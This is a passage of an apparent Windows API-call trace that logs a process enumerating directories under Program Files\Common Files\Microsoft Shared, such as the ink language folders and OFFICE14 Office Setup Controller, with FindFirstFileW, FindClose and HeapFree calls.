lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d58 [0272.751] FindClose (in: hFindFile=0x806d58 | out: hFindFile=0x806d58) returned 1 [0272.753] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x4210048 | out: hHeap=0x1c0000) returned 1 [0272.755] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d58 [0272.758] FindClose (in: hFindFile=0x806d58 | out: hFindFile=0x806d58) returned 1 [0272.761] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x4210048 | out: hHeap=0x1c0000) returned 1 [0272.767] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d58 [0272.774] FindClose (in: hFindFile=0x806d58 | out: hFindFile=0x806d58) returned 1 [0272.774] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x35bc918 | out: hHeap=0x1c0000) returned 1 [0272.774] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d58 [0272.774] FindClose (in: hFindFile=0x806d58 | out: hFindFile=0x806d58) returned 1 [0272.774] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x35bc918 | out: hHeap=0x1c0000) returned 1 [0272.774] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d58 [0272.774] FindClose (in: hFindFile=0x806d58 | out: hFindFile=0x806d58) returned 1 [0272.774] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x35bc918 | out: hHeap=0x1c0000) returned 1 [0272.774] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d58 [0272.774] FindClose (in: hFindFile=0x806d58 | out: hFindFile=0x806d58) returned 1 [0272.774] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x35bc918 | out: hHeap=0x1c0000) returned 1 [0272.774] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d58 [0272.774] FindClose (in: hFindFile=0x806d58 | out: hFindFile=0x806d58) returned 1 [0272.774] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x35bc918 | out: hHeap=0x1c0000) returned 1 [0272.774] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d58 [0272.774] FindClose (in: hFindFile=0x806d58 | out: hFindFile=0x806d58) returned 1 [0272.775] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x35bc918 | out: hHeap=0x1c0000) returned 1 [0272.775] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d58 [0272.775] FindClose (in: hFindFile=0x806d58 | out: hFindFile=0x806d58) returned 1 [0272.775] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x35bc918 | out: hHeap=0x1c0000) returned 1 [0272.775] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d58 [0272.775] FindClose (in: hFindFile=0x806d58 | out: hFindFile=0x806d58) returned 1 [0272.775] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x35bc918 | out: hHeap=0x1c0000) returned 1 [0272.775] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x980e725f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x980e725f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d58 [0272.775] FindClose (in: hFindFile=0x806d58 | out: hFindFile=0x806d58) returned 1 [0272.775] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x35bc918 | out: hHeap=0x1c0000) returned 1 [0272.775] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d58 [0272.775] FindClose (in: hFindFile=0x806d58 | out: hFindFile=0x806d58) returned 1 [0272.775] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x35bc918 | out: hHeap=0x1c0000) returned 1 [0272.775] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98074e3f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98074e3f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d58 [0272.776] FindClose (in: hFindFile=0x806d58 | out: hFindFile=0x806d58) returned 1 [0272.776] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x35bc918 | out: hHeap=0x1c0000) returned 1 [0272.776] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d58 [0272.776] FindClose (in: hFindFile=0x806d58 | out: hFindFile=0x806d58) returned 1 [0272.776] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x35bc918 | out: hHeap=0x1c0000) returned 1 [0272.776] FindClose (in: hFindFile=0x806c98 | out: hFindFile=0x806c98) returned 1 [0272.776] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x358c900 | out: hHeap=0x1c0000) returned 1 [0272.776] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\*", lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806c98 [0272.776] FindClose (in: hFindFile=0x806c98 | out: hFindFile=0x806c98) returned 1 [0272.776] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x358c900 | out: hHeap=0x1c0000) returned 1 [0272.776] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\*", lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806c98 [0272.776] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d58 [0272.776] FindClose (in: hFindFile=0x806d58 | out: hFindFile=0x806d58) returned 1 [0272.776] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x35bc918 | out: hHeap=0x1c0000) returned 1 [0272.776] FindClose (in: hFindFile=0x806c98 | out: hFindFile=0x806c98) returned 1 [0272.776] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x358c900 | out: hHeap=0x1c0000) returned 1 [0272.776] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*", lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5d93940, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806c98 [0272.776] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x8becbab0, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8becbab0, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d58 [0272.777] FindClose (in: hFindFile=0x806d58 | out: hFindFile=0x806d58) returned 1 [0272.778] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x35bc918 | out: hHeap=0x1c0000) returned 1 [0272.778] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xceefecc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xceefecc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d58 [0272.778] FindClose (in: hFindFile=0x806d58 | out: hFindFile=0x806d58) returned 1 [0272.778] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x35bc918 | out: hHeap=0x1c0000) returned 1 [0272.779] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe974c00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d98 [0272.822] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\*", lpFindFileData=0x3a0e768 | out: lpFindFileData=0x3a0e768*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x8c3b4810, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8c3b4810, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806dd8 [0272.823] FindClose (in: hFindFile=0x806dd8 | out: hFindFile=0x806dd8) returned 1 [0272.823] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42b0098 | out: hHeap=0x1c0000) returned 1 [0272.824] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\*", lpFindFileData=0x3a0e768 | out: lpFindFileData=0x3a0e768*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x8c5c9b50, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8c5c9b50, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806dd8 [0272.824] FindClose (in: hFindFile=0x806dd8 | out: hFindFile=0x806dd8) returned 1 [0272.825] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42b0098 | out: hHeap=0x1c0000) returned 1 [0272.825] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\*", lpFindFileData=0x3a0e768 | out: lpFindFileData=0x3a0e768*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x8c6ae390, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8c6ae390, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806dd8 [0272.826] FindClose (in: hFindFile=0x806dd8 | out: hFindFile=0x806dd8) returned 1 [0272.826] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42b0098 | out: hHeap=0x1c0000) returned 1 [0272.826] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\*", lpFindFileData=0x3a0e768 | out: lpFindFileData=0x3a0e768*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x8c615e10, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8c615e10, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806dd8 [0272.827] FindClose (in: hFindFile=0x806dd8 | out: hFindFile=0x806dd8) returned 1 [0272.828] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42b0098 | out: hHeap=0x1c0000) returned 1 [0272.828] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\*", lpFindFileData=0x3a0e768 | out: lpFindFileData=0x3a0e768*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x8ccedd50, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8ccedd50, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806dd8 [0272.829] FindClose (in: hFindFile=0x806dd8 | out: hFindFile=0x806dd8) returned 1 [0272.830] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42b0098 | out: hHeap=0x1c0000) returned 1 [0272.830] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\*", lpFindFileData=0x3a0e768 | out: lpFindFileData=0x3a0e768*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x8cd3a010, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8cd3a010, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806dd8 [0272.831] FindClose (in: hFindFile=0x806dd8 | out: hFindFile=0x806dd8) returned 1 [0272.832] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42b0098 | out: hHeap=0x1c0000) returned 1 [0272.832] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\*", lpFindFileData=0x3a0e768 | out: lpFindFileData=0x3a0e768*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x8cd60170, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8cd60170, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806dd8 [0272.832] FindClose (in: hFindFile=0x806dd8 | out: hFindFile=0x806dd8) returned 1 [0272.832] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42b0098 | out: hHeap=0x1c0000) returned 1 [0272.832] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\*", lpFindFileData=0x3a0e768 | out: lpFindFileData=0x3a0e768*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x8cf03090, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8cf03090, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806dd8 [0272.834] FindClose (in: hFindFile=0x806dd8 | out: hFindFile=0x806dd8) returned 1 [0272.835] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42b0098 | out: hHeap=0x1c0000) returned 1 [0272.835] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\*", lpFindFileData=0x3a0e768 | out: lpFindFileData=0x3a0e768*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x8cdac430, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8cdac430, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0272.837] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0272.838] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42b0098 | out: hHeap=0x1c0000) returned 1 [0272.838] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\*", lpFindFileData=0x3a0e768 | out: lpFindFileData=0x3a0e768*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x8cdd2590, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8cdd2590, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0272.841] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0272.842] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42b0098 | out: hHeap=0x1c0000) returned 1 [0272.842] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\*", lpFindFileData=0x3a0e768 | out: lpFindFileData=0x3a0e768*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0x8cf291f0, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8cf291f0, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806dd8 [0272.845] FindClose (in: hFindFile=0x806dd8 | out: hFindFile=0x806dd8) returned 1 [0272.846] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42b0098 | out: hHeap=0x1c0000) returned 1 [0272.846] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program 